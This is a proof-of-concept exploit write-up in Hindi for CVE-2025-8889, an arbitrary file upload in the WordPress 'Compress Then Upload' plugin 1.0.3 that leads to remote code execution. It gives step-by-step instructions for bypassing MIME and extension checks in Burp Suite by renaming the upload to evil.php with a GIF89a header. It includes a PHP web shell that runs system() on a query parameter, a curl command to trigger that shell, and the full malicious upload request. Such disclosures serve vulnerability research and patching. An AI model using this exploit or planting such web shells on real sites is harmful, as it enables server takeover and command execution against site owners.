
CVE-2025-8889 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट: वर्डप्रेस Compress Then Upload प्लगइन 1.0.3 में मनमाना फ़ाइल अपलोड से RCE तक। MIME मान्यता को बायपास करने और PHP कोड निष्पादित करने के लिए Burp Suite का उपयोग करके चरण-दर-चरण PoC शामिल है।
दिनांक: 2025-07-23
शोषण लेखक: Muhammed Çelik
विक्रेता होमपेज: https://wordpress.com/plugins/compress-then-upload
सॉफ़्टवेयर लिंक: https://downloads.wordpress.org/plugin/compress-then-upload.latest-stable.zip
संस्करण: 1.0.3
परीक्षित: Debian, WordPress 6.8.1, Apache 2.4.62, PHP 8.2.28
CVE: CVE-2025-8889
"Compress Then Upload Images" WordPress प्लगइन अपने मीडिया अपलोड इंटरफ़ेस के माध्यम से इमेज अपलोड के दौरान फ़ाइल एक्सटेंशन और MIME प्रकारों को ठीक से मान्य नहीं करता है। यद्यपि क्लाइंट-साइड मान्यताएँ मौजूद हैं, उन्हें अपलोड अनुरोध को इंटरसेप्ट और संशोधित करके बायपास किया जा सकता है।
मीडिया अपलोड अनुमतियों (लेखक भूमिका या उच्चतर) वाला एक प्रमाणित उपयोगकर्ता इसका शोषण कर सकता है:
चरण 1: एक सामान्य इमेज फ़ाइल तैयार करें एक सामान्य इमेज फ़ाइल बनाएँ, जैसे, (कोई भी मान्य JPG फ़ाइल)।
regular.jpgचरण 2: WordPress एडमिन पैनल के माध्यम से सामान्य इमेज अपलोड करें
regular.jpg सामान्य रूप से अपलोड करें।चरण 3: Burp Suite के साथ अपलोड अनुरोध को इंटरसेप्ट और संशोधित करें
filename="regular.jpg" → filename="evil.php" बदलेंGIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
नोट: GIF89a; कमज़ोर इमेज सत्यापन को बायपास करने के लिए एक मान्य GIF हेडर का अनुकरण करता है।
Content-Type को image/jpeg के रूप में रखें।
संशोधित अनुरोध को सर्वर पर अग्रेषित करें।
चरण 4: अपलोड किए गए वेब शेल को ट्रिगर करें
यदि अपलोड सफल होता है, तो PHP फ़ाइल अपलोड्स निर्देशिका में सहेजी जाएगी, उदाहरण:
http://target-site.com/wp-content/uploads/2025/07/evil.php
ब्राउज़र या curl के माध्यम से एक्सेस करें:
curl "http://target-site.com/wp-content/uploads/2025/07/evil.php?cmd=id"
उदाहरण दुर्भावनापूर्ण अपलोड अनुरोध (Burp Suite)
POST /index.php?rest_route=/wpctu-api/v1/upload HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
...
Content-Disposition: form-data; name="file"; filename="evil.php"
Content-Type: image/jpeg
GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>